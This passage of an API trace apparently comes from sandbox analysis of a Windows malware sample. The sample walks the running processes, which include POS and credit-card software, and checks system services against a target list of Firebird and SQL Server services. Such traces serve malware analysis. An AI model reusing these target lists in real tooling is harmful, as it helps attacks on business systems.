th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0077.192] lstrlenW (lpString="thunderbird.exe") returned 15 [0077.192] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0077.193] lstrlenW (lpString="totalcmd.exe") returned 12 [0077.193] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0077.194] lstrlenW (lpString="trillian.exe") returned 12 [0077.194] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0077.195] lstrlenW (lpString="webdrive.exe") returned 12 [0077.195] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0077.196] lstrlenW (lpString="whatsapp.exe") returned 12 [0077.196] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0077.197] lstrlenW (lpString="winscp.exe") returned 10 [0077.197] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0077.198] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0077.198] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0077.199] lstrlenW (lpString="active-charge.exe") returned 17 [0077.199] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0077.200] lstrlenW (lpString="accupos.exe") returned 11 [0077.200] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0077.201] lstrlenW (lpString="afr38.exe") returned 9 [0077.201] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0077.202] lstrlenW (lpString="aldelo.exe") returned 10 [0077.202] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0077.203] lstrlenW (lpString="ccv_server.exe") returned 14 [0077.203] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0077.204] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0077.204] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0077.205] lstrlenW (lpString="creditservice.exe") returned 17 [0077.205] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0077.206] lstrlenW (lpString="edcsvr.exe") returned 10 [0077.206] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0077.207] lstrlenW (lpString="fpos.exe") returned 8 [0077.207] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0077.208] lstrlenW (lpString="isspos.exe") returned 10 [0077.208] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0077.209] lstrlenW (lpString="mxslipstream.exe") returned 16 [0077.210] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0077.211] lstrlenW (lpString="omnipos.exe") returned 11 [0077.211] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0077.212] lstrlenW (lpString="spcwin.exe") returned 10 [0077.212] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0077.213] lstrlenW (lpString="spgagentservice.exe") returned 19 [0077.213] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0077.214] lstrlenW (lpString="utg2.exe") returned 8 [0077.214] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0077.215] lstrlenW (lpString="atlascomedy.exe") returned 15 [0077.215] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0077.217] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0077.217] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0077.218] lstrlenW (lpString="ntsc.exe") returned 8 [0077.218] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0077.219] lstrlenW (lpString="criteria.exe") returned 12 [0077.219] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.220] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0077.220] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.221] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0077.221] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0077.222] lstrlenW (lpString="taskhost.exe") returned 12 [0077.222] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0077.223] lstrlenW (lpString="dllhost.exe") returned 11 [0077.223] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0077.224] lstrlenW (lpString="dllhost.exe") returned 11 [0077.225] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0077.226] lstrlenW (lpString="winhost.exe") returned 11 [0077.226] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0077.227] lstrlenW (lpString="cmd.exe") returned 7 [0077.227] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0077.339] lstrlenW (lpString="conhost.exe") returned 11 [0077.339] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0077.340] lstrlenW (lpString="mode.com") returned 8 [0077.340] Process32NextW (in: hSnapshot=0x1d8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0077.341] CloseHandle (hObject=0x1d8) returned 1 [0077.341] Sleep (dwMilliseconds=0x1f4) [0077.883] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609c28 [0077.884] EnumServicesStatusExW (in: hSCManager=0x609c28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0077.884] GetLastError () returned 0xea [0077.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e4) returned 0x39777a0 [0077.885] EnumServicesStatusExW (in: hSCManager=0x609c28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39777a0, cbBufSize=0x11e4, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39777a0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0077.886] CloseServiceHandle (hSCObject=0x609c28) returned 1 [0077.886] lstrlenW (lpString="Appinfo") returned 7 [0077.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0077.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0077.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0077.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0077.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0077.887] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0077.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0077.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0077.887] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0077.887] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0077.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0077.887] lstrlenW (lpString="AudioSrv") returned 8 [0077.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0077.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0077.887] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0077.887] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0077.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0077.888] lstrlenW (lpString="BFE") returned 3 [0077.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0077.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0077.888] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0077.888] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0077.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0077.888] lstrlenW (lpString="CryptSvc") returned 8 [0077.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0077.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0077.888] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0077.888] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0077.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0077.888] lstrlenW (lpString="CscService") returned 10 [0077.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0077.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0077.889] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0077.889] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0077.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0077.889] lstrlenW (lpString="DcomLaunch") returned 10 [0077.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0077.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0077.889] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0077.889] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0077.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0077.889] lstrlenW (lpString="Dhcp") returned 4 [0077.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0077.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0077.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0077.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0077.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0077.890] lstrlenW (lpString="Dnscache") returned 8 [0077.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0077.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0077.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0077.890] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0077.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0077.890] lstrlenW (lpString="DPS") returned 3 [0077.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0077.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0077.890] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0077.890] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0077.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0077.890] lstrlenW (lpString="eventlog") returned 8 [0077.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0077.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0077.891] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0077.891] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0077.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0077.891] lstrlenW (lpString="EventSystem") returned 11 [0077.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0077.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0077.891] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0077.891] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0077.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0077.891] lstrlenW (lpString="gpsvc") returned 5 [0077.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0077.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0077.891] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0077.891] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0077.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0077.892] lstrlenW (lpString="iphlpsvc") returned 8 [0077.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0077.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0077.892] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0077.892] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0077.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0077.892] lstrlenW (lpString="LanmanServer") returned 12 [0077.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0077.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0077.892] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0077.892] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0077.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0077.892] lstrlenW (lpString="LanmanWorkstation") returned 17 [0077.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0077.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0077.893] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0077.893] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0077.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0077.893] lstrlenW (lpString="lmhosts") returned 7 [0077.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0077.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0077.893] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0077.893] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0077.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0077.893] lstrlenW (lpString="MMCSS") returned 5 [0077.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0077.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0077.893] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0077.894] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0077.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0077.894] lstrlenW (lpString="MpsSvc") returned 6 [0077.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0077.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0077.894] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0077.894] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0077.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0077.894] lstrlenW (lpString="Netman") returned 6 [0077.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0077.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0077.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0077.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0077.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0077.896] lstrlenW (lpString="netprofm") returned 8 [0077.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0077.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0077.896] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0077.896] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0077.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0077.896] lstrlenW (lpString="NlaSvc") returned 6 [0077.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0077.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0077.897] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0077.897] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0077.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0077.897] lstrlenW (lpString="nsi") returned 3 [0077.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0077.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0077.898] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0077.898] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0077.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0077.898] lstrlenW (lpString="PcaSvc") returned 6 [0077.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0077.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0077.898] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0077.899] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0077.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0077.899] lstrlenW (lpString="PlugPlay") returned 8 [0077.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0077.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0077.899] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0077.899] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0077.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0077.899] lstrlenW (lpString="Power") returned 5 [0077.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0077.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0077.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0077.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 